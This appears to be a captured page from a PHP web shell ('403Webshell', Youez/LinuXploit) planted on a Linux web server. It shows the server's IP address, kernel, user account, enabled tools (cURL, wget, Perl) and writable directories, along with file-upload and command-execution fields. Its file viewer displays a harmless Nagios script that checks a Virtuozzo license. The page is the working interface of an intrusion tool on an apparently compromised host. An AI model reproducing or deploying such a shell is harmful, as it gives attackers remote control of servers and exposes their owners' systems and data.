403Webshell
Server IP : 192.250.235.158  /  Your IP : 216.73.216.4
Web Server : LiteSpeed
System : Linux s4099.sgp1.stableserver.net 5.14.0-503.21.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jan 12 09:45:05 EST 2025 x86_64
User : vmxfzbqj ( 1905)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/vz7_check_a2_license.sh
#!/bin/bash
#
# Script to monitor vz7 license status
# Ref SYSENG-1618
#

vzlicinfo=$(vzlicview|grep -iE "expiration|status")
expire_time=$(date -d "$(echo "$vzlicinfo"|awk -F"=" '/expiration=/ {print $2}'|tr -d '\"')" +%s)
lic_status=$(echo "$vzlicinfo"|awk -F"=" '/status=/ {print $2}'|tr -d '\"')

if [ "${lic_status}" != "ACTIVE" ]; then
  printf "vz7lic_check - License is not active\n"
  exit 2
else
  seconds_to_expiry=$((${expire_time} - $(date +%s)))
  # 604800s = 7days
  if [ "${seconds_to_expiry}" -lt 604800 ]; then
    days_to_expiry=$((${seconds_to_expiry}/86400))
    printf "vz7lic_check - License is about to expire in ${days_to_expiry} days\n"
    exit 1
  else
    printf "vz7lic_check - License is active \n"
    exit 0
  fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit